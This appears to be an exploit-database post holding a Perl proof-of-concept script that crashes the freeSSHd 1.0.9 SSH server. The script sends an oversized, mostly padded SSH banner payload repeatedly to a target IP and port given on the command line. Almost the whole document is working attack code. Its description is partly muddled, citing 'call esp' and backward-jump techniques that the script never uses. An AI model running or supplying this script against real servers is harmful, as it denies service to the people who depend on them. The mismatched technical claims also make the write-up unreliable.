freeSSHd 1.0.9 Denial Of Service

`#!/usr/bin/perl  
  
use IO::Socket;  
  
# Exploit Title: freeSSHd 1.0.9 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 13 january 2024  
# Vendor Homepage: N/A  
# Download to demo:   
# Notification vendor: No reported  
# Tested Version: freeSSHd 1.0.9 - Denial of Service (DoS)  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo:   
  
#1. Description  
  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The SSH does not correctly handle the amount of data or bytes sent.  
#When authenticating to the SSH with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
print "[+] Exploiting... \n";  
  
my $bufff =  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"x18;  
  
  
my $payload =  
"\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" .  
"\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" .  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde".("A" x 1067);  
  
$payload .= $payload;  
$payload .= "C" x 19021 . "\r\n";  
  
my $i=0;  
while ($i<=18) {  
my $sock = IO::Socket::INET->new(  
PeerAddr => $ip,  
PeerPort => $port,  
Proto => 'tcp'  
) or die "Cannot connect!\n";  
  
if (<$sock> eq '') {  
print "[+] Done - Exploited success!!!!!\n\n";  
exit;  
}  
  
$sock->send($payload) or die "Exploited successuful!!!";  
  
$i++;  
}  
  
  
  
  
sub intro {  
print q {  
  
  
_/|   
// o\   
|| ._)   
//__\   
)___(   
  
[+] freeSSHd 1.0.9 - Denied of Service (DoS)  
  
[*] Coded by Fernando Mengali  
  
[@] e-mail: [email protected]  
  
}  
}  
  
sub main {  
  
our ($ip, $port) = @ARGV;  
  
unless (defined($ip) && defined($port)) {  
  
print " \nUsage: $0 <ip> <port> \n";  
exit(-1);  
  
}  
}  
`